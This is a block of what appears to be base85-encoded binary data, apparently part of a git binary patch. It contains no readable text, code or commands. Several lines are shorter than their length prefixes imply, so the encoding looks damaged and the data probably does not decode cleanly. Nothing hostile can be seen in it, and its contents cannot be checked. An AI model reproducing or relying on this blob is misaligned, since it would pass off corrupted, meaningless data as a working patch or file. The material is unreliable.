zGh82{%t=;eAx)+e_ZJe4RJ@s3OvM)woNE`L3}1;a5(Oc_iT@4A;txRc8dKZQFo4xf4HKfyZ8Ib%ts&#>{uqA*kWRX~i50}7tPNo2vuBPq{_=?&K* zi3S$YU>Zu0>52Cc1QBG~x(z|~8F~z4=2cNH8!9greYzax3z<1{Kh0W^ge^(J6iX6W zpE7OL*PYEw&emKG7jT2DY0=ecECuGvEkK~nOXv+ZAwivA0!3^<0WK2citWi%L;ah{ z`bn9VWjJp@w-}lJ1`>=+PgioW6v6;P{WE}&P+>}k{($gqre=i3nFK$>Ilv^O8P0Y{ zY&i!bmf@O)B!}M63mkAyA^E+Y3u}NYx&l3py^DU{Mn7-CPvSkUXeG1+aarQMhKmbp zVFsdgS8gDBJQ z4AE+lj{S8ZGqA4-xn@?#_D_)}0#U8WgqUb7B&(9*u#|u(EQ_g|d}1MWQ%Y`)qNUN| znkMf(g}OSE*|H@CJB7MOEIfteiD$D#)k*#mS?Ms&^Vqv)gI=$jp0RScB9siekS=61 zG^y!D?D!^F(#c_+EfQ7Dl7b0_XN%r|O0Og8%phl_0eP4Y7)1X^zGi1gLp@AmG&Sgg zRcTZl;}8!N68F|89$f-N=nd!>-;LA_nT4m!WXwW#F^~nIhw4GgP@k@+mm-x{vF?vK zzwk*`rDZsO4RVXxkS1OCLB8|B^B@~8z2yNQ7xMy?Aie@5OfN-cbk-5zYQfJ|U&{G~yI!9HwvIO%>R|pLE`Z!VkcR%Y{4aFLn)z` zMxYZ5E|rufHlRjkyYt>A$*N4kFe?Q@87x}0qNIX7ue0?agjN4U2-`piD?td4k(-(J zRxd=NxZUb(gN(Ep4xs782Gpgmwhx>arqvUx6B|%Rp{@0a4M;i_z(m#x=uR1e%`udf z36O@GI_ms-7RjBvy%DH-? zN;IYCRlS3J4iNwL&D)5t`~xD|BB)Pu>53(E@rp9ex(~Rop)ECkT_Web3=auPD8tzW z=fG2FG3UIU;i-iV3=cUKc zSkZY)Vn}k=S^ z1u$zMYzB1LD6%#}d@TctXjUc_&&+W41B+CgM>G@?`Gv$!qUBJZy16hT_z85UgXghz9@`L!fJ7gtrAXwJ;-4i!vKfX2mr& zr0KJ3mV=0i>Ox{U>>^uGRr&ouB#zb-EA!Fo;BDEGeH~DKuqFFXXy5oY;MgBUGXE>I z7C-n+p!g^f7k2GS7{Is$0hXfj#n=9bMih3XmokB~oHH5W3}!rmCbs2ECiw{@b1q~! zPa;q{U}c0(L8UFoI1$*2iS7Eryb~8S+VS{10OKueTD3YiytcU0nG2-xGb5P`>{VAU8lY*g4W>7UQX)&(k2i zAl{5hB7n1Q8g=^8tRzqzfBzn+`db(z*a4Q{3*(v4^=m@Vq47!Zq9it;nRaKvUW)?# zpd$gl)Xn7?o*W>W@uKZN9)UHy%5@f^O^U!|_A_0M~y647~?@oVyCB{^=F%sOgB^Ri`{09^tlTO;j zb1l6HSn>Cf@cIEG*-(Z{485Aea4>L0h4>-R{n6f_jW{K(;@%bR`f-P)i>`QJL>SL@(Z!4ty7{Nb*RmpKGxk?Mti`a0a2`KRk0Y zjSVw>1vQ<9lJSS2^=tnHT;pHjU(Q@-^g+(W4Ce;`0=+<{-(Y2?lj%8Nu3Z99#>q2h zu4O`H>KY<-=8LqPi!sEDk6|Sv6a%E3f5`|9pm-tLGc&@-%*|Pf_REYg1!-;~>+$7i zLqQek>rvE+GglY-o$0xNv&x3V{wV71Lf{-@bGcv^S3+EN5{GF+eh z?SJXoYgy2>OMr24A;JcN*v!4uqbQ984x&zwOBj)^0-_D*T$71SK8&UO7D7fgmSTdq z8)nuRguM{3lzUQB?pcs>&+L=7kl7}R;EY$s;l|Jw72mfKCi@4lQBdX;_YzCsH`TWV z?dIe?z6VhpWZh(6WZi_JLg%}`gAz()Jpi4<`Extf0m#uy5j7EJ1!=_|gQU-V;v(zR zo8LvLSA6DaU-5Y#>rx`?6+kZYvEE8#HA2eAdOOHE@!BY|-hJkGedLuy)>{AvGcu|A zMV}$L&TfhCLW$_Fw*fK67RqV_Vfa`p;(rDf=b0OH7TUW(gCNEhT;g))?2gN&Nqc7X z+flTmm99R+7Gc=WFb*27S|A291etK;y`ng1vYF*&@kejKD*xzSX6Y}3rJn^-fX&Sb zGD)ucc<;Ai9X$q~7BJD0M_#0|=F*jrrZ`-T~M$J4)U-+&&o~& zvI9FMiV!}B`AS_~kehKBS-R5?pSih!x_S%c($A)2$b1kXZQy&byb3seFdat6_h2QY z<9#r}bI#El2%ttRnAvTp-x=OV9YN=)kTL;S=>#s;ev z&nzn|Lqy8T=Fo}&jk=IVeVJ==Rm@E{q?Fc8H{{mMq^_H;uQ?Y*LU2uU;9RmE@Ci81 zyua?o90@jn5-%cV67SEFf+=?{egTH_S{oQOw|4-hk43ANh_bP_F#0-}0wFJsc8yOzfP5aZXu6h)@L;9Gm3RHlRB53!?b6KCVfb^`C|HcofGGS1a1Qv zX3s^@WTeZX<14xvp}BQ$marGRU5bCJq@)B*BxsyiwU!B4Xl%|d!OAK)G_fiZ?HZ2( zgkJMF`n>{&xE0jzVVUC~;D3#FGDBouir-iD`4ybs*YJ5_CLQ9c&%dBylXNB%!{e(DeSU%6+`=0A@QUS6@8V~%0%&!1Pknn zBo$Z{@IRT(Cf{K;l?Q;)2hnL5rYLh3=F+BBEASM2!LH|FpZH@%1vma9XrlsOK%M)% zjQX!d9DF^#h|BmED!{N_!@(D!d>Vt4g8vZTh-cuL-1uLoe)c<;1@L)0-22j`=